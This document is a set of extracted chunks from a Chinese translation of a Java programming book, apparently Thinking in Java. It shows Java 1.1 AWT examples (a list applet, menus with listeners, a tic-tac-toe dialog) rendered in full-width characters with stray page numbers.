    {"text": "／／： ＬｉｓｔＮｅｗ．ｊａｖａ ／／ Ｊａｖａ １．１ Ｌｉｓｔｓ ａｒｅ ｅａｓｉｅｒ ｔｏ ｕｓｅ ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊； ４２２ ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．ｅｖｅｎｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｐｐｌｅｔ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＬｉｓｔＮｅｗ ｅｘｔｅｎｄｓ Ａｐｐｌｅｔ ｛ Ｓｔｒｉｎｇ［］ ｆｌａｖｏｒｓ ＝ ｛ ＂Ｃｈｏｃｏｌａｔｅ＂， ＂Ｓｔｒａｗｂｅｒｒｙ＂， ＂Ｖａｎｉｌｌａ Ｆｕｄｇｅ Ｓｗｉｒｌ＂， ＂Ｍｉｎｔ Ｃｈｉｐ＂， ＂Ｍｏｃｈａ Ａｌｍｏｎｄ Ｆｕｄｇｅ＂， ＂Ｒｕｍ Ｒａｉｓｉｎ＂， ＂Ｐｒａｌｉｎｅ Ｃｒｅａｍ＂， ＂Ｍｕｄ Ｐｉｅ＂ ｝； ／／ Ｓｈｏｗ ６ ｉｔｅｍｓ， ａｌｌｏｗ ｍｕｌｔｉｐｌｅ ｓｅｌｅｃｔｉｏｎ： Ｌｉｓｔ ｌｓｔ ＝ ｎｅｗ Ｌｉｓｔ（６， ｔｒｕｅ）； ＴｅｘｔＡｒｅａ ｔ ＝ ｎｅｗ ＴｅｘｔＡｒｅａ（ｆｌａｖｏｒｓ．ｌｅｎｇｔｈ， ３０）； Ｂｕｔｔｏｎ ｂ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂ｔｅｓｔ＂）； ｉｎｔ ｃｏｕｎｔ ＝ ０； ｐｕｂｌｉｃ ｖｏｉｄ ｉｎｉｔ（） ｛ ｔ．ｓｅｔＥｄｉｔａｂｌｅ（ｆａｌｓｅ）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ４； ｉ＋＋） ｌｓｔ．ａｄｄＩｔｅｍ（ｆｌａｖｏｒｓ［ｃｏｕｎｔ＋＋］）； ａｄｄ（ｔ）； ａｄｄ（ｌｓｔ）； ａｄｄ（ｂ）； ｌｓｔ．ａｄｄＩｔｅｍＬｉｓｔｅｎｅｒ（ｎｅｗ ＬＬ（））； ｂ．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ ＢＬ（））； ｝ ｃｌａｓｓ ＬＬ ｉｍｐｌｅｍｅｎｔｓ ＩｔｅｍＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｉｔｅｍＳｔａｔｅＣｈａｎｇｅｄ（ＩｔｅｍＥｖｅｎｔ ｅ） ｛ ｔ．ｓｅｔＴｅｘｔ（＂＂）； Ｓｔｒｉｎｇ［］ ｉｔｅｍｓ ＝ ｌｓｔ．ｇｅｔＳｅｌｅｃｔｅｄＩｔｅｍｓ（）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｉｔｅｍｓ．ｌｅｎｇｔｈ； ｉ＋＋） ｔ．ａｐｐｅｎｄ（ｉｔｅｍｓ［ｉ］ ＋ ＂＼ｎ＂）； ｝ ｝ ｃｌａｓｓ ＢＬ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ ｉｆ（ｃｏｕｎｔ ＜ ｆｌａｖｏｒｓ．ｌｅｎｇｔｈ） ｌｓｔ．ａｄｄＩｔｅｍ（ｆｌａｖｏｒｓ［ｃｏｕｎｔ＋＋］， ０）； ｝ ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ＬｉｓｔＮｅｗ ａｐｐｌｅｔ ＝ ｎｅｗ ＬｉｓｔＮｅｗ（）； Ｆｒａｍｅ ａＦｒａｍｅ ＝ ｎｅｗ Ｆｒａｍｅ（＂ＬｉｓｔＮｅｗ＂）； ａＦｒａｍｅ．ａｄｄＷｉｎｄｏｗＬｉｓｔｅｎｅｒ（ ｎｅｗ ＷｉｎｄｏｗＡｄａｐｔｅｒ（） ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｗｉｎｄｏｗＣｌｏｓｉｎｇ（ＷｉｎｄｏｗＥｖｅｎｔ ｅ） ｛ Ｓｙｓｔｅｍ．ｅｘｉｔ（０）；"},
    {"text": "ａＦｒａｍｅ．ａｄｄ（ａｐｐｌｅｔ， ＢｏｒｄｅｒＬａｙｏｕｔ．ＣＥＮＴＥＲ）； ａＦｒａｍｅ．ｓｅｔＳｉｚｅ（３００，２００）； ａｐｐｌｅｔ．ｉｎｉｔ（）； ａｐｐｌｅｔ．ｓｔａｒｔ（）； ａＦｒａｍｅ．ｓｅｔＶｉｓｉｂｌｅ（ｔｒｕｅ）；"},
    {"text": "另外，我们将发现菜单不支持 并且将导致混乱的事件：菜单项使用 ＡｃｔｉｏｎＬｉｓｔｅｎｅｒｓ（动作接收器），但复选框菜单项使用 ＩｔｅｍＬｉｓｔｅｎｅｒｓ （项目接收器）。 菜单对象同样能支持 ＡｃｔｉｏｎＬｉｓｔｅｎｅｒｓ（动作接收器），但通常不那么有用。"},
    {"text": "一般来说， 我们会附加接收器到每个菜单项或复选框菜单项，但下面的例子（对先前例子的修改）演示了一个联合捕捉 多个菜单组件到一个单独的接收器类的方法。"},
    {"text": "／／： ＭｅｎｕＮｅｗ．ｊａｖａ ／／ Ｍｅｎｕｓ ｉｎ Ｊａｖａ １．１ ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．ｅｖｅｎｔ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＭｅｎｕＮｅｗ ｅｘｔｅｎｄｓ Ｆｒａｍｅ ｛ Ｓｔｒｉｎｇ［］ ｆｌａｖｏｒｓ ＝ ｛ ＂Ｃｈｏｃｏｌａｔｅ＂， ＂Ｓｔｒａｗｂｅｒｒｙ＂， ＂Ｖａｎｉｌｌａ Ｆｕｄｇｅ Ｓｗｉｒｌ＂， ＂Ｍｉｎｔ Ｃｈｉｐ＂， ＂Ｍｏｃｈａ Ａｌｍｏｎｄ Ｆｕｄｇｅ＂， ＂Ｒｕｍ Ｒａｉｓｉｎ＂， ＂Ｐｒａｌｉｎｅ Ｃｒｅａｍ＂， ＂Ｍｕｄ Ｐｉｅ＂ ｝； ＴｅｘｔＦｉｅｌｄ ｔ ＝ ｎｅｗ ＴｅｘｔＦｉｅｌｄ（＂Ｎｏ ｆｌａｖｏｒ＂， ３０）； ＭｅｎｕＢａｒ ｍｂ１ ＝ ｎｅｗ ＭｅｎｕＢａｒ（）； Ｍｅｎｕ ｆ ＝ ｎｅｗ Ｍｅｎｕ（＂Ｆｉｌｅ＂）； Ｍｅｎｕ ｍ ＝ ｎｅｗ Ｍｅｎｕ（＂Ｆｌａｖｏｒｓ＂）； Ｍｅｎｕ ｓ ＝ ｎｅｗ Ｍｅｎｕ（＂Ｓａｆｅｔｙ＂）； ／／ Ａｌｔｅｒｎａｔｉｖｅ ａｐｐｒｏａｃｈ： ＣｈｅｃｋｂｏｘＭｅｎｕＩｔｅｍ［］ ｓａｆｅｔｙ ＝ ｛ ｎｅｗ ＣｈｅｃｋｂｏｘＭｅｎｕＩｔｅｍ（＂Ｇｕａｒｄ＂）， ｎｅｗ ＣｈｅｃｋｂｏｘＭｅｎｕＩｔｅｍ（＂Ｈｉｄｅ＂） ｝； ＭｅｎｕＩｔｅｍ［］ ｆｉｌｅ ＝ ｛ ／／ Ｎｏ ｍｅｎｕ ｓｈｏｒｔｃｕｔ： ｎｅｗ ＭｅｎｕＩｔｅｍ（＂Ｏｐｅｎ＂）， ／／ Ａｄｄｉｎｇ ａ ｍｅｎｕ ｓｈｏｒｔｃｕｔ ｉｓ ｖｅｒｙ ｓｉｍｐｌｅ： ｎｅｗ ＭｅｎｕＩｔｅｍ（＂Ｅｘｉｔ＂， ｎｅｗ ＭｅｎｕＳｈｏｒｔｃｕｔ（ＫｅｙＥｖｅｎｔ．ＶＫ＿Ｅ）） ｝； ／／ Ａ ｓｅｃｏｎｄ ｍｅｎｕ ｂａｒ ｔｏ ｓｗａｐ ｔｏ： ＭｅｎｕＢａｒ ｍｂ２ ＝ ｎｅｗ ＭｅｎｕＢａｒ（）； Ｍｅｎｕ ｆｏｏＢａｒ ＝ ｎｅｗ Ｍｅｎｕ（＂ｆｏｏＢａｒ＂）； ＭｅｎｕＩｔｅｍ［］ ｏｔｈｅｒ ＝ ｛ ｎｅｗ ＭｅｎｕＩｔｅｍ（＂Ｆｏｏ＂）， ｎｅｗ ＭｅｎｕＩｔｅｍ（＂Ｂａｒ＂）， ｎｅｗ ＭｅｎｕＩｔｅｍ（＂Ｂａｚ＂）， ｝； ／／ Ｉｎｉｔｉａｌｉｚａｔｉｏｎ ｃｏｄｅ： ｛ ＭＬ ｍｌ ＝ ｎｅｗ ＭＬ（）； ４２４ ＣＭＩＬ ｃｍｉｌ ＝ ｎｅｗ ＣＭＩＬ（）； ｓａｆｅｔｙ［０］．ｓｅｔＡｃｔｉｏｎＣｏｍｍａｎｄ（＂Ｇｕａｒｄ＂）； ｓａｆｅｔｙ［０］．ａｄｄＩｔｅｍＬｉｓｔｅｎｅｒ（ｃｍｉｌ）； ｓａｆｅｔｙ［１］．ｓｅｔＡｃｔｉｏｎＣｏｍｍａｎｄ（＂Ｈｉｄｅ＂）； ｓａｆｅｔｙ［１］．ａｄｄＩｔｅｍＬｉｓｔｅｎｅｒ（ｃｍｉｌ）； ｆｉｌｅ［０］．ｓｅｔＡｃｔｉｏｎＣｏｍｍａｎｄ（＂Ｏｐｅｎ＂）； ｆｉｌｅ［０］．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｍｌ）； ｆｉｌｅ［１］．ｓｅｔＡｃｔｉｏｎＣｏｍｍａｎｄ（＂Ｅｘｉｔ＂）； ｆｉｌｅ［１］．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｍｌ）； ｏｔｈｅｒ［０］．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ ＦｏｏＬ（））； ｏｔｈｅｒ［１］．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ ＢａｒＬ（））； ｏｔｈｅｒ［２］．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ ＢａｚＬ（））； ｝ Ｂｕｔｔｏｎ ｂ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｓｗａｐ Ｍｅｎｕｓ＂）； ｐｕｂｌｉｃ ＭｅｎｕＮｅｗ（） ｛ ＦＬ ｆｌ ＝ ｎｅｗ ＦＬ（）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｆｌａｖｏｒｓ．ｌｅｎｇｔｈ； ｉ＋＋） ｛ ＭｅｎｕＩｔｅｍ ｍｉ ＝ ｎｅｗ ＭｅｎｕＩｔｅｍ（ｆｌａｖｏｒｓ［ｉ］）； ｍｉ．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｆｌ）； ｍ．ａｄｄ（ｍｉ）； ／／ Ａｄｄ ｓｅｐａｒａｔｏｒｓ ａｔ ｉｎｔｅｒｖａｌｓ： ｉｆ（（ｉ＋１） ％ ３ ＝＝ ０） ｍ．ａｄｄＳｅｐａｒａｔｏｒ（）； ｝ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｓａｆｅｔｙ．ｌｅｎｇｔｈ； ｉ＋＋） ｓ．ａｄｄ（ｓａｆｅｔｙ［ｉ］）； ｆ．ａｄｄ（ｓ）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｆｉｌｅ．ｌｅｎｇｔｈ； ｉ＋＋） ｆ．ａｄｄ（ｆｉｌｅ［ｉ］）； ｍｂ１．ａｄｄ（ｆ）； ｍｂ１．ａｄｄ（ｍ）； ｓｅｔＭｅｎｕＢａｒ（ｍｂ１）； ｔ．ｓｅｔＥｄｉｔａｂｌｅ（ｆａｌｓｅ）； ａｄｄ（ｔ， ＢｏｒｄｅｒＬａｙｏｕｔ．ＣＥＮＴＥＲ）； ／／ Ｓｅｔ ｕｐ ｔｈｅ ｓｙｓｔｅｍ ｆｏｒ ｓｗａｐｐｉｎｇ ｍｅｎｕｓ： ｂ．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ ＢＬ（））； ａｄｄ（ｂ， ＢｏｒｄｅｒＬａｙｏｕｔ．ＮＯＲＴＨ）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｏｔｈｅｒ．ｌｅｎｇｔｈ； ｉ＋＋） ｆｏｏＢａｒ．ａｄｄ（ｏｔｈｅｒ［ｉ］）； ｍｂ２．ａｄｄ（ｆｏｏＢａｒ）； ｝ ｃｌａｓｓ ＢＬ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ ＭｅｎｕＢａｒ ｍ ＝ ｇｅｔＭｅｎｕＢａｒ（）； ｉｆ（ｍ ＝＝ ｍｂ１） ｓｅｔＭｅｎｕＢａｒ（ｍｂ２）； ｅｌｓｅ ｉｆ （ｍ ＝＝ ｍｂ２） ｓｅｔＭｅｎｕＢａｒ（ｍｂ１）； ｝ ｝ ｃｌａｓｓ ＭＬ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ ＭｅｎｕＩｔｅｍ ｔａｒｇｅｔ ＝ （ＭｅｎｕＩｔｅｍ）ｅ．ｇｅｔＳｏｕｒｃｅ（）；"},
    {"text": "Ｓｔｒｉｎｇ ａｃｔｉｏｎＣｏｍｍａｎｄ ＝ ４２５ ｔａｒｇｅｔ．ｇｅｔＡｃｔｉｏｎＣｏｍｍａｎｄ（）； ｉｆ（ａｃｔｉｏｎＣｏｍｍａｎｄ．ｅｑｕａｌｓ（＂Ｏｐｅｎ＂）） ｛ Ｓｔｒｉｎｇ ｓ ＝ ｔ．ｇｅｔＴｅｘｔ（）； ｂｏｏｌｅａｎ ｃｈｏｓｅｎ ＝ ｆａｌｓｅ； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｆｌａｖｏｒｓ．ｌｅｎｇｔｈ； ｉ＋＋） ｉｆ（ｓ．ｅｑｕａｌｓ（ｆｌａｖｏｒｓ［ｉ］）） ｃｈｏｓｅｎ ＝ ｔｒｕｅ； ｉｆ（！ ｃｈｏｓｅｎ） ｔ．ｓｅｔＴｅｘｔ（＂Ｃｈｏｏｓｅ ａ ｆｌａｖｏｒ ｆｉｒｓｔ！"},
    {"text": "｝ ｅｌｓｅ ｉｆ（ａｃｔｉｏｎＣｏｍｍａｎｄ．ｅｑｕａｌｓ（＂Ｅｘｉｔ＂）） ｛ ｄｉｓｐａｔｃｈＥｖｅｎｔ（ ｎｅｗ ＷｉｎｄｏｗＥｖｅｎｔ（ＭｅｎｕＮｅｗ．ｔｈｉｓ， ＷｉｎｄｏｗＥｖｅｎｔ．ＷＩＮＤＯＷ＿ＣＬＯＳＩＮＧ））； ｝ ｝ ｝ ｃｌａｓｓ ＦＬ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ ＭｅｎｕＩｔｅｍ ｔａｒｇｅｔ ＝ （ＭｅｎｕＩｔｅｍ）ｅ．ｇｅｔＳｏｕｒｃｅ（）； ｔ．ｓｅｔＴｅｘｔ（ｔａｒｇｅｔ．ｇｅｔＬａｂｅｌ（））； ｝ ｝ ／／ Ａｌｔｅｒｎａｔｉｖｅｌｙ， ｙｏｕ ｃａｎ ｃｒｅａｔｅ ａ ｄｉｆｆｅｒｅｎｔ ／／ ｃｌａｓｓ ｆｏｒ ｅａｃｈ ｄｉｆｆｅｒｅｎｔ ＭｅｎｕＩｔｅｍ． Ｔｈｅｎ ｙｏｕ ／／ Ｄｏｎ＇ｔ ｈａｖｅ ｔｏ ｆｉｇｕｒｅ ｏｕｔ ｗｈｉｃｈ ｏｎｅ ｉｔ ｉｓ： ｃｌａｓｓ ＦｏｏＬ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ ｔ．ｓｅｔＴｅｘｔ（＂Ｆｏｏ ｓｅｌｅｃｔｅｄ＂）； ｝ ｝ ｃｌａｓｓ ＢａｒＬ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ ｔ．ｓｅｔＴｅｘｔ（＂Ｂａｒ ｓｅｌｅｃｔｅｄ＂）； ｝ ｝ ｃｌａｓｓ ＢａｚＬ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ ｔ．ｓｅｔＴｅｘｔ（＂Ｂａｚ ｓｅｌｅｃｔｅｄ＂）； ｝ ｝ ｃｌａｓｓ ＣＭＩＬ ｉｍｐｌｅｍｅｎｔｓ ＩｔｅｍＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｉｔｅｍＳｔａｔｅＣｈａｎｇｅｄ（ＩｔｅｍＥｖｅｎｔ ｅ） ｛ ＣｈｅｃｋｂｏｘＭｅｎｕＩｔｅｍ ｔａｒｇｅｔ ＝ （ＣｈｅｃｋｂｏｘＭｅｎｕＩｔｅｍ）ｅ．ｇｅｔＳｏｕｒｃｅ（）； Ｓｔｒｉｎｇ ａｃｔｉｏｎＣｏｍｍａｎｄ ＝ ｔａｒｇｅｔ．ｇｅｔＡｃｔｉｏｎＣｏｍｍａｎｄ（）； ｉｆ（ａｃｔｉｏｎＣｏｍｍａｎｄ．ｅｑｕａｌｓ（＂Ｇｕａｒｄ＂）） ｔ．ｓｅｔＴｅｘｔ（＂Ｇｕａｒｄ ｔｈｅ Ｉｃｅ Ｃｒｅａｍ！ ＂ ＋ ＂Ｇｕａｒｄｉｎｇ ｉｓ ＂ ＋ ｔａｒｇｅｔ．ｇｅｔＳｔａｔｅ（））； ｅｌｓｅ ｉｆ（ａｃｔｉｏｎＣｏｍｍａｎｄ．ｅｑｕａｌｓ（＂Ｈｉｄｅ＂）） ｔ．ｓｅｔＴｅｘｔ（＂Ｈｉｄｅ ｔｈｅ Ｉｃｅ Ｃｒｅａｍ！ ＂ ＋ ４２６ ＂Ｉｓ ｉｔ ｃｏｌｄ？ ＂ ＋ ｔａｒｇｅｔ．ｇｅｔＳｔａｔｅ（））； ｝ ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ＭｅｎｕＮｅｗ ｆ ＝ ｎｅｗ ＭｅｎｕＮｅｗ（）； ｆ．ａｄｄＷｉｎｄｏｗＬｉｓｔｅｎｅｒ（ ｎｅｗ ＷｉｎｄｏｗＡｄａｐｔｅｒ（） ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｗｉｎｄｏｗＣｌｏｓｉｎｇ（ＷｉｎｄｏｗＥｖｅｎｔ ｅ） ｛ Ｓｙｓｔｅｍ．ｅｘｉｔ（０）；"},
    {"text": "｝ ｝ ／／／：￣ 在我们开始初始化节（由注解“Ｉｎｉｔｉａｌｉｚａｔｉｏｎ ｃｏｄｅ：”后的右大括号指明）的前面部分的代码同先前 （Ｊａｖａ １．０ 版）版本相同。"},
    {"text": "在 ＭＬ 中，“寻找 ｒｉｎｇ”方法被作为动作事件（ＡｃｔｉｏｎＥｖｅｎｔ）的资源并对它进 行造型送入菜单项，然后得到动作指令字符串，再通过它去贯穿串联组，当然条件是对它进行声明。"},
    {"text": "这些大 多数同前面的一样，但请注意如果“Ｅｘｉｔ”被选中，通过进入封装类对象的句柄（ＭｅｎｕＮｅｗ．ｔｈｉｓ）并创建一 个 ＷＩＮＤＯＷ＿ＣＬＯＳＩＮＧ 事件，一个新的窗口事件就被创建了。 新的事件被分配到封装类对象的 ｄｉｓｐａｔｃｈＥｖｅｎｔ（） 方法，然后结束调用 ｗｉｎｄｏｗｓＣｌｏｓｉｎｇ（）内部帧的窗口接收器（这个接收器作为一个内部类被创建在 ｍａｉｎ（） 里），似乎这是“正常”产生消息的方法。"},
    {"text": "如果我们的逻辑十分的简单明了，这种方法对 我们就很有用处，但通常，我们使用这种方法时需要与 ＦｏｏＬ，ＢａｒＬ 和 ＢａｚＬ 一道使用，它们每个都附加到一 个单独的菜单组件上，因此必然无需测试逻辑，并且使我们正确地辨识出谁调用了接收器。"},
    {"text": "／／： ＴｏｅＴｅｓｔＮｅｗ．ｊａｖａ ／／ Ｄｅｍｏｎｓｔｒａｔｉｏｎ ｏｆ ｄｉａｌｏｇ ｂｏｘｅｓ ／／ ａｎｄ ｃｒｅａｔｉｎｇ ｙｏｕｒ ｏｗｎ ｃｏｍｐｏｎｅｎｔｓ ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊； ４２７ ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．ｅｖｅｎｔ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＴｏｅＴｅｓｔＮｅｗ ｅｘｔｅｎｄｓ Ｆｒａｍｅ ｛ ＴｅｘｔＦｉｅｌｄ ｒｏｗｓ ＝ ｎｅｗ ＴｅｘｔＦｉｅｌｄ（＂３＂）； ＴｅｘｔＦｉｅｌｄ ｃｏｌｓ ＝ ｎｅｗ ＴｅｘｔＦｉｅｌｄ（＂３＂）； ｐｕｂｌｉｃ ＴｏｅＴｅｓｔＮｅｗ（） ｛ ｓｅｔＴｉｔｌｅ（＂Ｔｏｅ Ｔｅｓｔ＂）； Ｐａｎｅｌ ｐ ＝ ｎｅｗ Ｐａｎｅｌ（）； ｐ．ｓｅｔＬａｙｏｕｔ（ｎｅｗ ＧｒｉｄＬａｙｏｕｔ（２，２））； ｐ．ａｄｄ（ｎｅｗ Ｌａｂｅｌ（＂Ｒｏｗｓ＂， Ｌａｂｅｌ．ＣＥＮＴＥＲ））； ｐ．ａｄｄ（ｒｏｗｓ）； ｐ．ａｄｄ（ｎｅｗ Ｌａｂｅｌ（＂Ｃｏｌｕｍｎｓ＂， Ｌａｂｅｌ．ＣＥＮＴＥＲ））； ｐ．ａｄｄ（ｃｏｌｓ）； ａｄｄ（ｐ， ＢｏｒｄｅｒＬａｙｏｕｔ．ＮＯＲＴＨ）； Ｂｕｔｔｏｎ ｂ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂ｇｏ＂）； ｂ．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ ＢＬ（））； ａｄｄ（ｂ， ＢｏｒｄｅｒＬａｙｏｕｔ．ＳＯＵＴＨ）； ｝ ｓｔａｔｉｃ ｆｉｎａｌ ｉｎｔ ＢＬＡＮＫ ＝ ０； ｓｔａｔｉｃ ｆｉｎａｌ ｉｎｔ ＸＸ ＝ １； ｓｔａｔｉｃ ｆｉｎａｌ ｉｎｔ ＯＯ ＝ ２； ｃｌａｓｓ ＴｏｅＤｉａｌｏｇ ｅｘｔｅｎｄｓ Ｄｉａｌｏｇ ｛ ／／ ｗ ＝ ｎｕｍｂｅｒ ｏｆ ｃｅｌｌｓ ｗｉｄｅ ／／ ｈ ＝ ｎｕｍｂｅｒ ｏｆ ｃｅｌｌｓ ｈｉｇｈ ｉｎｔ ｔｕｒｎ ＝ ＸＸ； ／／ Ｓｔａｒｔ ｗｉｔｈ ｘ＇ｓ ｔｕｒｎ ｐｕｂｌｉｃ ＴｏｅＤｉａｌｏｇ（ｉｎｔ ｗ， ｉｎｔ ｈ） ｛ ｓｕｐｅｒ（ＴｏｅＴｅｓｔＮｅｗ．ｔｈｉｓ， ＂Ｔｈｅ ｇａｍｅ ｉｔｓｅｌｆ＂， ｆａｌｓｅ）； ｓｅｔＬａｙｏｕｔ（ｎｅｗ ＧｒｉｄＬａｙｏｕｔ（ｗ， ｈ））； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｗ ＊ ｈ； ｉ＋＋） ａｄｄ（ｎｅｗ ＴｏｅＢｕｔｔｏｎ（））； ｓｅｔＳｉｚｅ（ｗ ＊ ５０， ｈ ＊ ５０）； ａｄｄＷｉｎｄｏｗＬｉｓｔｅｎｅｒ（ｎｅｗ ＷｉｎｄｏｗＡｄａｐｔｅｒ（） ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｗｉｎｄｏｗＣｌｏｓｉｎｇ（ＷｉｎｄｏｗＥｖｅｎｔ ｅ）｛ ｄｉｓｐｏｓｅ（）；"},
    {"text": "｝ ｃｌａｓｓ ＴｏｅＢｕｔｔｏｎ ｅｘｔｅｎｄｓ Ｃａｎｖａｓ ｛ ｉｎｔ ｓｔａｔｅ ＝ ＢＬＡＮＫ； ＴｏｅＢｕｔｔｏｎ（） ｛ ａｄｄＭｏｕｓｅＬｉｓｔｅｎｅｒ（ｎｅｗ ＭＬ（））； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｐａｉｎｔ（Ｇｒａｐｈｉｃｓ ｇ） ｛ ｉｎｔ ｘ１ ＝ ０； ｉｎｔ ｙ１ ＝ ０； ｉｎｔ ｘ２ ＝ ｇｅｔＳｉｚｅ（）．ｗｉｄｔｈ － １； ｉｎｔ ｙ２ ＝ ｇｅｔＳｉｚｅ（）．ｈｅｉｇｈｔ － １； ｇ．ｄｒａｗＲｅｃｔ（ｘ１， ｙ１， ｘ２， ｙ２）； ｘ１ ＝ ｘ２／４； ｙ１ ＝ ｙ２／４； ｉｎｔ ｗｉｄｅ ＝ ｘ２／２； ４２８ ｉｎｔ ｈｉｇｈ ＝ ｙ２／２； ｉｆ（ｓｔａｔｅ ＝＝ ＸＸ） ｛ ｇ．ｄｒａｗＬｉｎｅ（ｘ１， ｙ１， ｘ１ ＋ ｗｉｄｅ， ｙ１ ＋ ｈｉｇｈ）； ｇ．ｄｒａｗＬｉｎｅ（ｘ１， ｙ１ ＋ ｈｉｇｈ， ｘ１ ＋ ｗｉｄｅ， ｙ１）； ｝ ｉｆ（ｓｔａｔｅ ＝＝ ＯＯ） ｛ ｇ．ｄｒａｗＯｖａｌ（ｘ１， ｙ１， ｘ１ ＋ ｗｉｄｅ／２， ｙ１ ＋ ｈｉｇｈ／２）； ｝ ｝ ｃｌａｓｓ ＭＬ ｅｘｔｅｎｄｓ ＭｏｕｓｅＡｄａｐｔｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｍｏｕｓｅＰｒｅｓｓｅｄ（ＭｏｕｓｅＥｖｅｎｔ ｅ） ｛ ｉｆ（ｓｔａｔｅ ＝＝ ＢＬＡＮＫ） ｛ ｓｔａｔｅ ＝ ｔｕｒｎ； ｔｕｒｎ ＝ （ｔｕｒｎ ＝＝ ＸＸ ？ ＯＯ ： ＸＸ）； ｝ ｅｌｓｅ ｓｔａｔｅ ＝ （ｓｔａｔｅ ＝＝ ＸＸ ？ ＯＯ ： ＸＸ）； ｒｅｐａｉｎｔ（）；"},
    {"text": "｝ ｝ ｝ ｝ ｃｌａｓｓ ＢＬ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ Ｄｉａｌｏｇ ｄ ＝ ｎｅｗ ＴｏｅＤｉａｌｏｇ（ Ｉｎｔｅｇｅｒ．ｐａｒｓｅＩｎｔ（ｒｏｗｓ．ｇｅｔＴｅｘｔ（））， Ｉｎｔｅｇｅｒ．ｐａｒｓｅＩｎｔ（ｃｏｌｓ．ｇｅｔＴｅｘｔ（）））；"},
